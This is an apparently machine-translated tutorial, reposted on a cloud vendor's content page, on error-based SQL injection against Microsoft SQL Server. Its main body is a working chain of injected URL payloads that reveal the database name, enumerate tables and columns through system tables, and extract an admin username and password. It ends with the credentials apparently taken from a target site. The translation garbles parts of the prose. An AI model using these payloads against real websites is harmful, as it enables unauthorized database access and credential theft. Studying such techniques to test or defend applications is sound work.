Mssql with error injection example

Source: Internet
Author: User

Mssql with error injection example

MySQL has an explicit error injection and MSSQL. This article describes MSSQL's explicit error injection.

The number of statements is relatively small. You can understand and apply the statements yourself.
Sub. php? Table = performance & id = 12

Principles and instructions
[Note] If only the conversion type is used and some special characters are not spelled together, the value itself is an int value. convert it to vchar and compare it with the int value, mssql still enforces int-based comparison (it is estimated that it is like a weak programming language, subjective speculation, and no research). In this way, no errors will occur.

It can only be divided into two parts, which is too slow.
In the past, when mssql was injected for the first time, the conversion still failed. In many cases, the + sign is filtered, so the plus sign + of the string connection demonstrated here must be url encoded.
Id = 12 and db_name ()> 0 --
The current data name zhengheng

Id = 12 and (select cast (count (*) as varchar (10) % 2b '^' from [zhengheng] .. [sysobjects] where xtype = 'U' and status> 0)> 0 --
Number of tables in the zhengheng Database

Id = 12 and (select top 1 name from [zhengheng] .. [sysobjects] where xtype = 'U' and status> 0 and id = 1)> 0 --
Sysobjects is a system table that can be used to query data. Http://blog.csdn.net/ning517/archive/2008/03/19/2196306.aspx
Id column. According to the id of each violent table name, the first is adminuser
 
Id = 12 and (select top 1 name from [zhengheng] .. [syscolumns] where id = 357576312 and colid = 1)> 0 --
Column name. The colid increments one by one.

Id = 12 and (select cast (count (*) as varchar (200) % 2b '^' from adminuser where 1 = 1)> 0 --
Number of records

Id = 12 and (select top 1 (cast ([username] as nvarchar (100) % 2b '^' % 2b (cast (password as nvarchar (100 ))) from adminuser where id = 1)> 0 --

Username and password

The final result is as follows:
Adminuser table: admin and liying
// Silic. Org

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.